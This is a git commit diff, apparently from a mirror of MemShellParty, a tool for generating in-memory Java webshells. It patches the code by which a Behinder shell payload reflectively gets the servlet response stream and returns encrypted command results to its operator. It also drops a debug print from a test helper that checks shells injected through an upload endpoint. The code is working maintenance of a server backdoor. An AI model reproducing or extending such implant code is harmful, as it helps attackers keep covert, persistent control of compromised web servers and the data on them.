mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
fix: behinder outputStream methodNotFound
This commit is contained in:
@@ -32,10 +32,15 @@ public class Test {
|
|||||||
result.put("status", "success");
|
result.put("status", "success");
|
||||||
} finally {
|
} finally {
|
||||||
try {
|
try {
|
||||||
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
|
Object so = null;
|
||||||
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
|
try {
|
||||||
getOutputStreamMethod.setAccessible(true);
|
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
|
||||||
Object so = getOutputStreamMethod.invoke(this.Response);
|
} catch (Exception e) {
|
||||||
|
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
|
||||||
|
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
|
||||||
|
getOutputStreamMethod.setAccessible(true);
|
||||||
|
so = getOutputStreamMethod.invoke(this.Response);
|
||||||
|
}
|
||||||
Method write = so.getClass().getMethod("write", byte[].class);
|
Method write = so.getClass().getMethod("write", byte[].class);
|
||||||
String jsonStr = this.buildJson(result, true);
|
String jsonStr = this.buildJson(result, true);
|
||||||
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
|
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
|
||||||
|
|||||||
-1
@@ -65,7 +65,6 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
|
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
|
||||||
System.out.println(content);
|
|
||||||
switch (packer) {
|
switch (packer) {
|
||||||
case JSP -> {
|
case JSP -> {
|
||||||
String uploadEntry = url + "/upload";
|
String uploadEntry = url + "/upload";
|
||||||
|
|||||||
Reference in New Issue
Block a user